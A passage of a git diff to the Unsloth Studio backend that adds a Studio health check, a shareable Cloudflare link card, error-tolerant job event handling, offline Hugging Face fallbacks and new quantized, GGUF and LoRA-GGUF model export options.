_is_studio_healthy(port: int, timeout: float = 2.0) -> bool: + """True only if Unsloth Studio (not some other app) answers /api/health on *port*. + + The service-marker check stops the reuse path reusing or tunneling a foreign + process that merely serves /api/health. + """ + import json, urllib.request + try: + with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout) as r: + return json.loads(r.read()).get("service") == "Unsloth UI Backend" except Exception: return False -def _show_and_embed(port: int): - """Embed the Studio inline for *port* with a branded header bar. - - Fetches the proxy URL once (registering the port), then renders header bar + - iframe. Falls back to serve_kernel_port_as_iframe if IPython HTML is unavailable. +def _shareable_link_html(cloudflare_url: str) -> str: + """Branded card for the shareable Cloudflare link, styled like the show_link banner.""" + return f""" +
+

+ + Shareable Studio Link is Ready! +

+ + + Open Unsloth Studio + +

+ This Cloudflare HTTPS link works from any device — share it with anyone. The Colab view below only works in this tab. +

+

+ 🔗 {cloudflare_url} +

+
""" + + +def _show_and_embed(port: int, *, cloudflare_url: "str | None" = None): + """Render the Studio header + iframe for *port*, with a shareable-link card above + when *cloudflare_url* is set. Falls back to serve_kernel_port_as_iframe.""" url = get_colab_url(port) logger.info(f"🌐 Unsloth Studio URL: {url}") + if cloudflare_url: + logger.info(f"🔗 Shareable Cloudflare link: {cloudflare_url}") try: from IPython.display import HTML, display @@ -136,6 +244,9 @@ def _show_and_embed(port: int): except (ValueError, IndexError): short_url = url + if cloudflare_url: + display(HTML(_shareable_link_html(cloudflare_url))) + display( HTML(f"""
None: + """Apply one event, swallowing any handler error so the pump can't die.""" + try: + self._handle_event(job, event) + except Exception: + etype = event.get("type") if isinstance(event, dict) else type(event).__name__ + logger.exception("Data-recipe job pump: failed to handle %s event; skipping", etype) + def _pump_loop(self) -> None: - """Background thread: consumes worker events + updates job snapshot.""" + """Background thread: consume worker events and update the job snapshot. + + Guarded so no single event can end the loop; it is the sole writer of the + snapshot the UI polls, so its death would freeze status/SSE. + """ while True: snap = self._snapshot() if snap is None: return job, proc, mp_q = snap - event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25) + try: + event = self._read_queue_with_timeout(mp_q, timeout_sec = 0.25) + except Exception: + # If a read keeps raising after the worker died, finalize instead + # of spinning forever; only retry while the worker is still alive. + logger.exception("Data-recipe job pump: queue read failed; continuing") + if proc.is_alive(): + time.sleep(0.1) + continue + event = None + if event is not None: - self._handle_event(job, event) + self._safe_handle_event(job, event) continue if proc.is_alive(): continue - for e in self._drain_queue(mp_q): - self._handle_event(job, e) + # Worker exited: drain + finalize, guarded so an error can't strand the run "active". + try: + for e in self._drain_queue(mp_q): + self._safe_handle_event(job, e) - retired_job: Job | None = None - with self._lock: - if self._job and self._job.status in { - "pending", - "active", - "cancelling", - }: - if self._job.status == "cancelling": - self._job.status = "cancelled" - else: - self._job.status = "error" - self._job.error = self._job.error or "process exited" - self._job.finished_at = time.time() - event_type = ( - EVENT_JOB_CANCELLED if self._job.status == "cancelled" else EVENT_JOB_ERROR - ) - self._emit( - { - "type": event_type, - "ts": time.time(), - "job_id": self._job.job_id, - } - ) - retired_job = self._job - if retired_job is not None: - self._retire_workflow_key(retired_job) + retired_job: Job | None = None + with self._lock: + if self._job and self._job.status in { + "pending", + "active", + "cancelling", + }: + if self._job.status == "cancelling": + self._job.status = "cancelled" + else: + self._job.status = "error" + self._job.error = self._job.error or "process exited" + self._job.finished_at = time.time() + event_type = ( + EVENT_JOB_CANCELLED + if self._job.status == "cancelled" + else EVENT_JOB_ERROR + ) + self._emit( + { + "type": event_type, + "ts": time.time(), + "job_id": self._job.job_id, + } + ) + retired_job = self._job + if retired_job is not None: + self._retire_workflow_key(retired_job) + except Exception: + logger.exception("Data-recipe job pump: finalization after worker exit failed") return def _handle_event(self, job: Job, event: dict) -> None: diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index a0959741a4..c8be50b08b 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -10,9 +10,21 @@ import tempfile from loggers import get_logger import os import shutil +import contextlib from pathlib import Path from typing import Optional, Tuple, List -from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + +# unsloth imports torch on non-MLX hosts, so a --no-torch install raises here. Stay importable +# (null the classes) so exports return a clean "PyTorch is not installed" error, not an import crash. +try: + from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX + _UNSLOTH_IMPORT_ERROR = None +except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load + FastLanguageModel = None + FastVisionModel = None + _IS_MLX = False + _UNSLOTH_IMPORT_ERROR = _unsloth_exc + from huggingface_hub import HfApi, ModelCard from utils.hardware import clear_gpu_cache @@ -26,17 +38,130 @@ from utils.paths import ( ) from core.inference import get_inference_backend -# GPU-only imports — guarded for Apple Silicon where these aren't needed +# GPU/PyTorch-only imports, skipped on MLX and on a --no-torch install so the module stays +# importable; export then degrades to a clear "PyTorch is not installed" error. +torch = None +_TORCH_IMPORT_ERROR: Optional[BaseException] = None if not _IS_MLX: - from peft import PeftModel, PeftModelForCausalLM - from transformers.modeling_utils import PushToHubMixin - import torch + try: + from peft import PeftModel, PeftModelForCausalLM + from transformers.modeling_utils import PushToHubMixin + import torch + except Exception as _torch_exc: # ImportError, or a broken native torch load + _TORCH_IMPORT_ERROR = _torch_exc logger = get_logger(__name__) + +def _export_runtime_available() -> bool: + """True if export can run: MLX active, or Unsloth imported (only succeeds on a GPU host).""" + return bool(_IS_MLX) or (FastLanguageModel is not None) + + +def _export_runtime_message() -> str: + """Precise reason the export runtime is unavailable, mirroring hardware.export_capability().""" + if torch is None: + return ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." + ) + return ( + "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " + "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export on " + "CPU only.)" + ) + + +# Kept for call sites / tests referencing the PyTorch-missing text. +_PYTORCH_MISSING_MESSAGE = ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." +) + _LLAMA_CPP_SCRIPTS_WARNING_EMITTED = False +def _supports_kwarg(fn, name): + """True if `fn` accepts keyword `name` directly or via **kwargs.""" + import inspect + + try: + params = inspect.signature(fn).parameters + except (TypeError, ValueError): + return False + return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values()) + + +def _compressed_export_supported(): + """True if the installed unsloth build can do FP8/NVFP4 compressed-tensors export.""" + try: + import unsloth.save as _us + return hasattr(_us, "_normalize_compressed_method") + except Exception: + return False + + +def _torchao_export_supported(): + """True if the installed unsloth build has the portable torchao FP8/INT8 export path.""" + try: + import unsloth.save as _us + return hasattr(_us, "_normalize_torchao_method") + except Exception: + return False + + +def _has_nvidia_gpu(): + """True only on a real NVIDIA CUDA box (not ROCm/XPU/CPU/MLX); compressed-tensors needs it.""" + try: + from utils.hardware import hardware as _hw + return _hw.DEVICE == _hw.DeviceType.CUDA and not _hw.IS_ROCM + except Exception: + try: + import torch + return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None + except Exception: + return False + + +def _hf_offline(timeout = 3): + """True if export should avoid the Hub: honors the HF offline env vars, else does one + cheap TCP reachability probe so a network-down load uses local files / the HF cache + instead of hanging on connection timeouts. Proxy-aware (probes the proxy egress when + one is configured); disable the probe with UNSLOTH_OFFLINE_PROBE=0.""" + _offline = {"1", "true", "yes", "on"} + if ( + os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _offline + or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline + ): + return True + if os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() in {"0", "false", "no", "off"}: + return False # probe disabled -> assume online; loads still pass local_files_only on env + + # Shared bounded, proxy-aware probe (also used by the export worker before version activation). + from utils.transformers_version import hf_endpoint_unreachable + + if hf_endpoint_unreachable(timeout): + logger.warning("Hugging Face endpoint unreachable; loading checkpoint in offline mode") + return True + return False + + +# Reuse Unsloth's lock-guarded forced-offline context; no-op fallback if it moves. +try: + from unsloth.models.loader_utils import _force_hf_offline +except Exception: + import contextlib as _contextlib + + @_contextlib.contextmanager + def _force_hf_offline(): + yield + + +def _offline_window_if(local_files_only): + """Forced-offline window when offline was detected, else a no-op context.""" + return _force_hf_offline() if local_files_only else contextlib.nullcontext() + + def _is_wsl(): """Detect if running under Windows Subsystem for Linux.""" try: @@ -175,10 +300,19 @@ class ExportBackend: model_id = base_model or checkpoint_path - # Token the type-detection probes too, else a gated multimodal base - # 404s here and falls through to the text loader. - self._audio_type = detect_audio_type(model_id, hf_token = token) - self.is_vision = not self._audio_type and is_vision_model(model_id, hf_token = token) + # Skip the Hub when offline so a no-internet export uses the local cache. + local_files_only = _hf_offline() + + # Run the type-detection probes in the forced-offline window (else a gated + # base 404s); it covers is_vision_model's Hub reads + the transformers-5 + # subprocess, and local_files_only makes detect_audio_type's requests.get skip. + with _offline_window_if(local_files_only): + self._audio_type = detect_audio_type( + model_id, hf_token = token, local_files_only = local_files_only + ) + self.is_vision = not self._audio_type and is_vision_model( + model_id, hf_token = token, local_files_only = local_files_only + ) if self._audio_type == "csm": from unsloth import FastModel @@ -193,6 +327,7 @@ class ExportBackend: load_in_4bit = False, trust_remote_code = trust_remote_code, token = token, + local_files_only = local_files_only, ) elif self._audio_type == "whisper": @@ -207,6 +342,7 @@ class ExportBackend: auto_model = WhisperForConditionalGeneration, trust_remote_code = trust_remote_code, token = token, + local_files_only = local_files_only, ) elif self._audio_type == "snac": @@ -218,6 +354,7 @@ class ExportBackend: load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, token = token, + local_files_only = local_files_only, ) elif self._audio_type == "bicodec": @@ -230,6 +367,7 @@ class ExportBackend: load_in_4bit = False, trust_remote_code = trust_remote_code, token = token, + local_files_only = local_files_only, ) elif self._audio_type == "dac": @@ -241,6 +379,7 @@ class ExportBackend: load_in_4bit = False, trust_remote_code = trust_remote_code, token = token, + local_files_only = local_files_only, ) elif self.is_vision: @@ -252,6 +391,7 @@ class ExportBackend: load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, token = token, + local_files_only = local_files_only, ) tokenizer = processor # vision: processor acts as tokenizer @@ -264,6 +404,7 @@ class ExportBackend: load_in_4bit = load_in_4bit, trust_remote_code = trust_remote_code, token = token, + local_files_only = local_files_only, ) if _IS_MLX: @@ -318,13 +459,17 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """ Export merged model (for PEFT models). Args: save_directory: Local directory to save model - format_type: "16-bit (FP16)" or "4-bit (FP4)" + format_type: "16-bit (FP16)", "4-bit (FP4)", or a compressed-tensors label + compressed_method: Optional compressed-tensors scheme alias (e.g. "fp8", + "fp8_static", "w8a8", "w4a16", "mxfp4", "mxfp8", "nvfp4"). Overrides + format_type and is resolved against unsloth.save COMPRESSED_EXPORT_SCHEMES. push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID (username/model-name) hf_token: Hugging Face token @@ -333,27 +478,114 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - if not self.is_peft: - return ( - False, - "This is not a PEFT model. Use 'Export Base Model' instead.", - None, - ) + # Merged export works for PEFT adapters and non-PEFT Local/HF base models alike + # (save_pretrained_merged is a no-op merge that just saves the base). output_path: Optional[str] = None + # Quantized formats save to a sibling "-". Two backends: compressed-tensors + # (llm-compressor, NVIDIA-only) and portable torchao FP8/INT8 (device-agnostic). The alias + # comes from `compressed_method` (the "all formats" dropdown) or the `format_type` label. + _LABEL_TO_ALIAS = { + "FP8 (compressed-tensors)": "fp8", + "NVFP4 (compressed-tensors)": "nvfp4", + } + compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type) + compressed_suffix: Optional[str] = None + # Classify the alias: torchao-portable vs compressed-tensors. + torchao_info = None + if compressed_alias and _torchao_export_supported(): + try: + import unsloth.save as _us_t + torchao_info = _us_t._normalize_torchao_method(compressed_alias) + except Exception: + torchao_info = None + is_torchao = torchao_info is not None + is_compressed = compressed_alias is not None and not is_torchao try: + if _IS_MLX and (is_compressed or is_torchao): + return ( + False, + "Quantized (FP8/FP4/INT) export is not supported on macOS/MLX. " + "Use 16-bit or GGUF.", + None, + ) + + if is_torchao: + # Portable torchao: no NVIDIA GPU, no calibration. + compressed_suffix = torchao_info[1] + + if is_compressed: + # compressed-tensors needs CUDA; enforce in the backend even if the UI gate is bypassed. + if not _has_nvidia_gpu(): + return ( + False, + "Compressed-tensors (FP8/FP4) export requires an NVIDIA GPU. On other " + "hardware use the portable FP8/INT8 (torchao) formats or 16-bit.", + None, + ) + if not _compressed_export_supported(): + return ( + False, + "Compressed-tensors (FP8/FP4) export requires an Unsloth build with " + "compressed-tensors support. Upgrade unsloth, or choose 16-bit.", + None, + ) + import unsloth.save as _us + + # Prefer the llm-compressor-main shadow (transformers 5.x): it quantizes newer models + # (Qwen3.5, Gemma-4, ...) the shipped 0.10.x cannot. Route all compressed exports + # through it when available; else fall back to the workspace 0.10.x path below. + _shadow_pp = None + try: + from utils.transformers_version import llmcompressor_shadow_pythonpath + _shadow_pp = llmcompressor_shadow_pythonpath() + except Exception as e: + logger.warning(f"llm-compressor-main shadow unavailable: {e}") + if _shadow_pp: + os.environ[_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV] = _shadow_pp + else: + # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its + # transformers ceiling, so fail fast for sidecar models; default-tier still works. + os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None) + _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling() + if _exceeds: + return ( + False, + "FP8/FP4 compressed-tensors export is not available for this model: it " + f"runs under transformers {_tf_ver}, but the installed llm-compressor " + f"supports transformers <= {_us._LLM_COMPRESSOR_MAX_TRANSFORMERS} and the " + "llm-compressor-main runtime could not be provisioned (offline or " + "UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN). Export to GGUF or 16-bit instead.", + None, + ) + + try: + info = _us._normalize_compressed_method(compressed_alias) + except Exception as e: + return False, f"Unsupported compressed export '{compressed_alias}': {e}", None + if info is None: + return ( + False, + f"'{compressed_alias}' is not a recognized compressed-tensors export.", + None, + ) + compressed_suffix = info[2] + if _IS_MLX: mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" + elif is_compressed or is_torchao: + save_method = compressed_alias + elif format_type == "4-bit (FP4)": + save_method = "merged_4bit_forced" + elif self._audio_type == "whisper": + save_method = None else: - if format_type == "4-bit (FP4)": - save_method = "merged_4bit_forced" - elif self._audio_type == "whisper": - save_method = None - else: - save_method = "merged_16bit" + save_method = "merged_16bit" if save_directory: save_directory = str(resolve_export_write_dir(save_directory)) @@ -371,9 +603,15 @@ class ExportBackend: save_directory, self.current_tokenizer, save_method = save_method ) - self._write_export_metadata(save_directory) - logger.info(f"Model saved successfully to {save_directory}") - output_path = str(Path(save_directory).resolve()) + # Compressed / torchao writes to the "-" sibling; report that as output. + final_dir = ( + f"{save_directory}-{compressed_suffix}" + if (is_compressed or is_torchao) + else save_directory + ) + self._write_export_metadata(final_dir) + logger.info(f"Model saved successfully to {final_dir}") + output_path = str(Path(final_dir).resolve()) if push_to_hub: if not repo_id or not hf_token: @@ -408,6 +646,31 @@ class ExportBackend: token = hf_token, private = private, ) + elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir(): + # Already built in output_path; upload it directly instead of re-running the + # expensive quantization that push_to_hub_merged(save_method=...) would redo. + hf_api = HfApi(token = hf_token) + repo_id = PushToHubMixin._create_repo( + PushToHubMixin, + repo_id = repo_id, + private = private, + token = hf_token, + ) + content = MODEL_CARD.format( + username = repo_id.split("/")[0], + base_model = getattr(self.current_model.config, "_name_or_path", "unknown"), + model_type = getattr(self.current_model.config, "model_type", "llm"), + method = compressed_alias or format_type, + extra = "unsloth", + ) + ModelCard(content).push_to_hub( + repo_id, token = hf_token, commit_message = "Unsloth Model Card" + ) + hf_api.upload_folder( + folder_path = output_path, + repo_id = repo_id, + repo_type = "model", + ) else: hub_save_method = save_method if save_method is not None else "merged_16bit" self.current_model.push_to_hub_merged( @@ -443,6 +706,8 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None @@ -561,17 +826,20 @@ class ExportBackend: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, + imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: """ Export model in GGUF format. Args: save_directory: Local directory to save model - quantization_method: GGUF quantization method (e.g., "Q4_K_M") + quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them + (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single + model load (unsloth save_to_gguf loops internally). push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID hf_token: Hugging Face token @@ -579,14 +847,35 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None + # Only forward imatrix_file to an unsloth build that accepts it, else older builds raise + # an unexpected-keyword error even for a plain no-imatrix export. + if imatrix_file is not None and not _supports_kwarg( + self.current_model.save_pretrained_gguf, "imatrix_file" + ): + return ( + False, + "This Unsloth build does not support GGUF imatrix export. " + "Upgrade unsloth and unsloth_zoo, or disable the imatrix option.", + None, + ) + imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {} + output_path: Optional[str] = None model_tmp_to_cleanup: Optional[str] = None try: - # unsloth expects lowercase quant method - quant_method = quantization_method.lower() + # Normalize to a lowercased list so multiple quants come from one model load. + if isinstance(quantization_method, (list, tuple)): + quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()] + else: + quant_methods = [str(quantization_method).lower()] + if not quant_methods: + quant_methods = ["q4_k_m"] + quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0] # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it # can't drift past the pinned llama-quantize binary's gguf API. @@ -635,6 +924,7 @@ class ExportBackend: _model_tmp, self.current_tokenizer, quantization_method = quant_method, + **imatrix_kw, ) # Relocate the .gguf that convert_to_gguf wrote to cwd (repo root). @@ -701,12 +991,13 @@ class ExportBackend: self.current_tokenizer, quantization_method = quant_method, token = hf_token, + **imatrix_kw, ) logger.info(f"GGUF model pushed successfully to {repo_id}") return ( True, - f"GGUF model exported successfully ({quantization_method})", + f"GGUF model exported successfully ({', '.join(quant_methods)})", output_path, ) @@ -726,19 +1017,56 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: """ Export LoRA adapter only (not merged). + Args: + gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp + convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`. + gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32. + Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None if not self.is_peft: return False, "This is not a PEFT model. No adapter to export.", None + _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32") + if gguf: + if _IS_MLX: + return ( + False, + "GGUF LoRA adapter export is not supported on macOS/MLX. " + "Use the safetensors adapter instead.", + None, + ) + outtype = str(gguf_outtype).lower() + if outtype not in _GGUF_LORA_OUTTYPES: + return ( + False, + f"Invalid GGUF LoRA outtype '{gguf_outtype}'. " + f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.", + None, + ) + # getattr so an older build without save_pretrained_gguf returns a clean message + # instead of an AttributeError (a generic 500). + _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None) + if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"): + return ( + False, + "This Unsloth build does not support GGUF LoRA adapter export. " + "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.", + None, + ) + output_path: Optional[str] = None try: if save_directory: @@ -746,7 +1074,24 @@ class ExportBackend: logger.info(f"Saving LoRA adapter locally to: {save_directory}") ensure_dir(Path(save_directory)) - if _IS_MLX: + if gguf: + # Writes the adapter files plus "-lora-.gguf". + _apply_wsl_sudo_patch() + self.current_model.save_pretrained_gguf( + save_directory, + self.current_tokenizer, + save_method = "lora", + quantization_method = outtype, + # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config. + token = hf_token or None, + ) + final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf"))) + logger.info( + "LoRA GGUF export complete. Files in %s:\n %s", + save_directory, + "\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)", + ) + elif _IS_MLX: # MLX: save adapters.safetensors + tokenizer files self.current_model.save_lora_adapters(save_directory) self.current_tokenizer.save_pretrained(save_directory) @@ -766,7 +1111,24 @@ class ExportBackend: logger.info(f"Pushing LoRA adapter to Hub: {repo_id}") - if _IS_MLX: + if gguf: + # Upload the locally-built GGUF folder; needs a local save_directory so the + # conversion is not re-run. + if not (output_path and Path(output_path).is_dir()): + return ( + False, + "GGUF LoRA Hub upload requires a local save directory; set one and " + "retry.", + None, + ) + hf_api = HfApi(token = hf_token) + hf_api.create_repo(repo_id, private = private, exist_ok = True) + hf_api.upload_folder( + folder_path = output_path, + repo_id = repo_id, + repo_type = "model", + ) + elif _IS_MLX: with tempfile.TemporaryDirectory() as tmp_dir: self.current_model.save_lora_adapters(tmp_dir) self.current_tokenizer.save_pretrained(tmp_dir) diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 636fe1a759..671ef363f5 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -385,6 +385,7 @@ class ExportOrchestrator: trust_remote_code: bool = False, approved_remote_code_fingerprint: Optional[str] = None, hf_token: Optional[str] = None, + subject: Optional[str] = None, ) -> Tuple[bool, str]: """Load a checkpoint for export. @@ -396,6 +397,7 @@ class ExportOrchestrator: "load_in_4bit": load_in_4bit, "trust_remote_code": trust_remote_code, "approved_remote_code_fingerprint": approved_remote_code_fingerprint, + "subject": subject, "hf_token": hf_token, } @@ -454,6 +456,7 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """Export merged PEFT model.""" return self._run_export( @@ -465,6 +468,7 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "compressed_method": compressed_method, }, ) @@ -493,12 +497,13 @@ class ExportOrchestrator: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, + imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: - """Export model in GGUF format.""" + """Export model in GGUF format. `quantization_method` may be a single method or a list.""" return self._run_export( "gguf", { @@ -507,6 +512,7 @@ class ExportOrchestrator: "push_to_hub": push_to_hub, "repo_id": repo_id, "hf_token": hf_token, + "imatrix_file": imatrix_file, }, ) @@ -517,8 +523,10 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: - """Export LoRA adapter only.""" + """Export LoRA adapter only (optionally also as a GGUF LoRA file).""" return self._run_export( "lora", { @@ -527,6 +535,8 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "gguf": gguf, + "gguf_outtype": gguf_outtype, }, ) @@ -553,9 +563,13 @@ class ExportOrchestrator: cmd = {"type": "export", "export_type": export_type, **params} try: self._send_cmd(cmd) + # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them + # all in one op off a single merge, so scale the timeout by the quant count. + _qm = params.get("quantization_method") + _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1 resp = self._wait_response( f"export_{export_type}_done", - timeout = 3600, # GGUF for 30B+ models can take 30+ min + timeout = 3600 * max(1, _n), ) op_success = resp.get("success", False) op_message = resp.get("message", "") diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index 7216221f44..7828116236 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -13,6 +13,7 @@ Pattern follows core/inference/worker.py and core/training/worker.py. from __future__ import annotations +import contextlib import errno import structlog from loggers import get_logger @@ -159,7 +160,7 @@ def _setup_log_capture(resp_queue: Any) -> None: t_err.start() -def _activate_transformers_version(model_name: str) -> None: +def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None: """Activate the correct transformers version BEFORE any ML imports.""" # Ensure backend is on sys.path for utils imports. backend_path = str(Path(__file__).resolve().parent.parent.parent) @@ -168,7 +169,58 @@ def _activate_transformers_version(model_name: str) -> None: from utils.transformers_version import activate_transformers_for_subprocess - activate_transformers_for_subprocess(model_name) + activate_transformers_for_subprocess(model_name, hf_token) + + +@contextlib.contextmanager +def _offline_window_if_unreachable(step = "loading"): + """Force HF offline for a network-touching step (transformers version activation, or the + load preflights that hit the Hub) when the endpoint is unreachable, then restore the prior + env. Keeps a no-network export from hanging on Hub calls that run before load_checkpoint's + own probe, while letting this persistent worker re-decide per operation once back online. + + Post-ML-import (the load preflights), huggingface_hub has already read its in-process + offline constant and cached sessions, so env alone is too late: defer to the loader's + _force_hf_offline (env + in-process flags + session reset). Pre-import (activation), + huggingface_hub is not loaded yet, so setting the env vars suffices for its urllib probes.""" + saved: dict[str, str | None] = {} + force_ctx = None + try: + from utils.transformers_version import _env_offline, hf_endpoint_unreachable + probe_enabled = os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() not in ( + "0", + "false", + "no", + "off", + ) + if not _env_offline() and probe_enabled and hf_endpoint_unreachable(): + logger.warning("Hugging Face endpoint unreachable; %s offline", step) + if "huggingface_hub" in sys.modules: + try: + from unsloth.models.loader_utils import _force_hf_offline + force_ctx = _force_hf_offline() + force_ctx.__enter__() # sets env + in-process flags + resets sessions + except Exception: + force_ctx = None + if force_ctx is None: + for k in ("HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"): + saved[k] = os.environ.get(k) + os.environ[k] = "1" + except Exception: + pass + try: + yield + finally: + if force_ctx is not None: + try: + force_ctx.__exit__(None, None, None) + except Exception: + pass + for k, v in saved.items(): + if v is None: + os.environ.pop(k, None) + else: + os.environ[k] = v def _send_response(resp_queue: Any, response: dict) -> None: @@ -261,6 +313,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: hf_token = cmd.get("hf_token"), trust_remote_code = True, approved_fingerprint = cmd.get("approved_remote_code_fingerprint"), + subject = cmd.get("subject"), ) if _rc.blocked: _send_response( @@ -344,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + compressed_method = cmd.get("compressed_method"), ) elif export_type == "base": success, message, output_path = backend.export_base_model( @@ -361,6 +415,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: push_to_hub = cmd.get("push_to_hub", False), repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), + imatrix_file = cmd.get("imatrix_file"), ) elif export_type == "lora": success, message, output_path = backend.export_lora_adapter( @@ -369,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + gguf = cmd.get("gguf", False), + gguf_outtype = cmd.get("gguf_outtype", "q8_0"), ) else: success, message = False, f"Unknown export type: {export_type}" @@ -458,19 +515,20 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None checkpoint_path = config["checkpoint_path"] # ── 1. Activate correct transformers version BEFORE any ML imports ── - try: - _activate_transformers_version(checkpoint_path) - except Exception as exc: - _send_response( - resp_queue, - { - "type": "error", - "error": f"Failed to activate transformers version: {exc}", - "stack": traceback.format_exc(limit = 20), - "ts": time.time(), - }, - ) - return + with _offline_window_if_unreachable(step = "activating transformers"): + try: + _activate_transformers_version(checkpoint_path, config.get("hf_token") or None) + except Exception as exc: + _send_response( + resp_queue, + { + "type": "error", + "error": f"Failed to activate transformers version: {exc}", + "stack": traceback.format_exc(limit = 20), + "ts": time.time(), + }, + ) + return # ── 1b. Check Triton on Windows (must precede import torch) ── if sys.platform == "win32": @@ -506,6 +564,11 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None if backend_path not in sys.path: sys.path.insert(0, backend_path) + # Recover from any namespace-package shadow before importing Unsloth. + from core.import_guards import ensure_real_packages + + ensure_real_packages("unsloth_zoo", "unsloth") + from core.export.export import ExportBackend import transformers @@ -528,7 +591,10 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None 